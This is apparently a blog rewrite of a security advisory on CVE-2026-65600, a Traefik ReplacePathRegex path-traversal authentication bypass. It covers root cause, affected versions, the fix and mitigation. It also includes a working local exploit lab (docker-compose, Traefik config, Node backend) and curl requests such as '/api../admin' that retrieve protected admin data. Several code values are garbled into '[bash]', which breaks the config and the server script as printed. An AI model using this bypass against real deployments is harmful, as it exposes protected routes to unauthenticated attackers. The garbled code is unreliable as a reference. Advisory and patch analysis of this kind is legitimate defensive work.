Listen to this Post
CVE-2026-65600 is a critical authentication-bypass vulnerability in Traefik’s `ReplacePathRegex` middleware. The flaw arises when the middleware is configured with a regular expression that captures user-controlled path segments without enforcing a mandatory path separator—for example, `regex: “^/api(.)”` with replacement: "/$1". Under this configuration, an unauthenticated remote attacker can craft a single HTTP request containing implicit path traversal sequences, such as GET /api../admin, and successfully access protected routes that should require authentication.
The root cause resides in the `ServeHTTP` function within `pkg/middlewares/replacepathregex/replace_path_regex.go` (lines 56–74). After the regex substitution produces a new path, the middleware forwards it to the backend without performing any post-replacement normalization validation. This stands in contrast to the `StripPrefix` middleware, which—following the fix for CVE-2026-48020—explicitly rejects such paths with an HTTP 400 error.
The attack flow is straightforward. The `sanitizePath` function passes `api..` unchanged because it is a valid segment name, not a dot-segment. The router matches `PathPrefix(/api)` and selects the public router, which has no authentication middleware. `ReplacePathRegex` then applies ^/api(.), captures ../admin, and produces the replacement path /../admin. Because no normalization check exists, this un-normalized path is forwarded directly to the backend. The backend framework—whether Express, Flask, Django, Spring, or ASP.NET—normalizes `/../admin` to /admin. The attacker thus receives protected administrative content without any credentials. The vulnerability affects Traefik versions up to v2.11.51, v3.6.0 through v3.6.22, and v3.7.0 through v3.7.6. The issue was fixed in v2.11.52, v3.6.23, and v3.7.7.
DailyCVE Form:
Platform: Traefik
Version: ≤2.11.51, 3.6.0-3.6.22, 3.7.0-3.7.6
Vulnerability: Path Traversal
Severity: Critical
date: 2026-07-22
Prediction: 2026-07-22
What Undercode Say:
Analytics show this vulnerability enables unauthenticated remote attackers to bypass authentication middleware with a single crafted HTTP request. The attack requires no special privileges and can be executed over the network. The following bash commands and code demonstrate the exploitation:
Create docker-compose.yml
cat > docker-compose.yml << 'EOF'
services:
traefik:
image: traefik:v3.7.6
command:
- "--api.insecure=true"
- "--providers.file.filename=/etc/traefik/dynamic.yml"
- "--entrypoints.web.address=:80"
ports:
- "8080:8080"
- "80:80"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
healthcheck:
test: ["CMD", "traefik", "healthcheck"]
interval: 5s
timeout: 3s
retries: 5
backend:
image: node:22-alpine
working_dir: /app
volumes:
- ./server.js:/app/server.js:ro
command: ["node", "server.js"]
healthcheck:
test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"]
interval: 5s
timeout: 3s
retries: 5
EOF
Create dynamic.yml
cat > dynamic.yml << 'EOF'
http:
routers:
public-api:
rule: "PathPrefix(<code>/api</code>)"
entryPoints: [bash]
middlewares: [rewrite-api]
service: backend-svc
priority: 1
protected-admin:
rule: "PathPrefix(<code>/admin</code>)"
entryPoints: [bash]
middlewares: [bash]
service: backend-svc
priority: 2
middlewares:
rewrite-api:
replacePathRegex:
regex: "^/api(.)"
replacement: "/$1"
auth:
basicAuth:
users:
- "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
services:
backend-svc:
loadBalancer:
servers:
- url: "http://backend:3000"
EOF
Create server.js
cat > server.js << 'EOF'
const http = require('http');
const path = require('path');
const server = http.createServer((req, res) => {
const normalized = path.posix.normalize(req.url.split('?')[bash]);
res.setHeader('Content-Type', 'text/plain');
if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
res.writeHead(200); res.end(<code>ADMIN_SECRET_DATA (normalized=${normalized})\n</code>);
} else { res.writeHead(200); res.end(<code>PUBLIC (normalized=${normalized})\n</code>); }
});
server.listen(3000);
EOF
Run and exploit
docker compose up -d && sleep 5
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
→ 401
curl -s http://localhost/api../admin
→ ADMIN_SECRET_DATA (normalized=/admin)
curl -s http://localhost/api%2e%2e/admin
→ ADMIN_SECRET_DATA (normalized=/admin)
Exploit:
The exploit leverages the regex `^/api(.)` without a slash separator before the capture group. An attacker sends `GET /api../admin` or its URL-encoded variant GET /api%2e%2e/admin. The middleware produces /../admin, which the backend normalizes to /admin, granting access to protected resources. The same structural weakness exists as in CVE-2026-48020, where `StripPrefix(“/api”)` was vulnerable but `StripPrefix(“/api/”)` was not. The pattern `^/api/(.)` with a mandatory slash is not exploitable.
Protection:
Upgrade to Traefik v2.11.52, v3.6.23, or v3.7.7, which add the `JoinPath` equality check after line 67 in replace_path_regex.go. The fix rejects any request whose replaced path does not match its normalized form. Alternatively, avoid using regex patterns that capture user-controlled segments without a mandatory separator; use `^/api/(.)` instead of ^/api(.). Conduct comprehensive audits of all Traefik middleware configurations to identify vulnerable patterns.
Impact:
Authentication bypass. Any route protected by authentication middleware (BasicAuth, ForwardAuth, DigestAuth) on a separate router can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET, POST, PUT, DELETE) bypass authentication. The vulnerability affects deployments using `ReplacePathRegex` for prefix stripping, a common and documented configuration pattern.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
